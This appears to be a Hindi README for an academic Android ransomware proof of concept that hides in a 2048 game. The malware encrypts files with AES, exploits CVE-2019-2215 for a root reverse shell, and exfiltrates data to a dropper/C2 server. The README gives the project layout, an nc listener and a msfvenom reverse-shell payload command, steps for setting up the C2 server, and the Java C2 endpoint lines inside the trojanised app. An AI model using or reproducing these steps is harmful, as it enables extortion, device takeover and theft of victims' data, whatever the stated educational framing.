
एंड्रॉइड रैनसमवेयर विकास - AES256 एन्क्रिप्शन + CVE-2019-2215 (रिवर्स रूट शेल) + डेटा एक्सफिल्ट्रेशन
यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए है। इस प्रोजेक्ट में rkshrksh/2048-Game और kangtastic/cve-2019-2215 से कोड का उपयोग किया गया है।
यह प्रोजेक्ट सिंगापुर इंस्टीट्यूट ऑफ टेक्नोलॉजी के मोबाइल सुरक्षा मॉड्यूल का हिस्सा है। यह प्रोजेक्ट 6 सप्ताह के भीतर पूरा किया गया था और इसका उद्देश्य एक दुर्भावनापूर्ण एंड्रॉइड एप्लिकेशन विकसित करना था। ऐसा करने से, हमें यह सीखने में मदद मिली कि एंड्रॉइड ओएस में सुरक्षा तंत्र कैसे लागू किए जाते हैं और हम OWASP Mobile Top 10:2017 M8 - Code Tampering का उपयोग कैसे कर सकते हैं।
यह प्रोजेक्ट एक प्रूफ ऑफ कॉन्सेप्ट है जो एक कस्टम लिखित रैनसमवेयर को प्रदर्शित करता है जो AES एन्क्रिप्शन का उपयोग करता है, cve-2019-2215 को हथियार बनाता है, और संक्रमित डिवाइस से डेटा एक्सफिलट्रेट भी करता है।
इसे Android 10 और Google Pixel 2 XL पर परीक्षण किया गया है।
├── 2048-Game // Android Project Folder
├── 2048-keystore // Test-Keystore
├── cve-2019-2215 // Modified cve-2019-2215
│ └── cve-2019-2215.c
├── dropper_server // Dropper server directory
│ ├── cve-2019-2215 // shells.zip content before zipping
│ ├── dropper_server.py // Dropper server program
│ ├── exfiltrated_data.log
│ ├── masterkeys.txt
│ ├── ncat.exe // Netcat windows binary - for Reverse shell listener
│ ├── requirements.txt
│ ├── shells.zip // shells.zip that is hosted in root of dropper server
│ └── venv
└── test_images // test_images for easy adb push <image.ext> /sdcard/Pictures
इस परीक्षण के लिए, सुनिश्चित करें कि पीड़ित फोन और C2 सर्वर एक ही सबनेट में हैं (अन्यथा C2 को सार्वजनिक इंटरनेट पर होस्ट करें)। C2 सर्वर के लिए 3 एंडपॉइंट हैं जो dropper/dropper_server.py में पाए जा सकते हैं:
nc -lvnp 1337 # Ideally this should be the same IP as the dropper server
# Generate rs.elf payload
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf
# Better to run flask on Windows if WSL don't port forward localhost traffic to Windows Host
cd dropper
python3 -m venv venv # Create venv
# Activate venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Make sure host shell is root/Administrator
# Run C2 server
python3 dropper_server.py # WSL
python dropper_server.py # Windows
/dropper में shells.zip
जावा क्लासेज़
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/process_command"; // Line 19
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45
// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Change IP and port according to dropper server IP and port
String urlString = "http://192.168.157.73:8080/postData"; // Line 32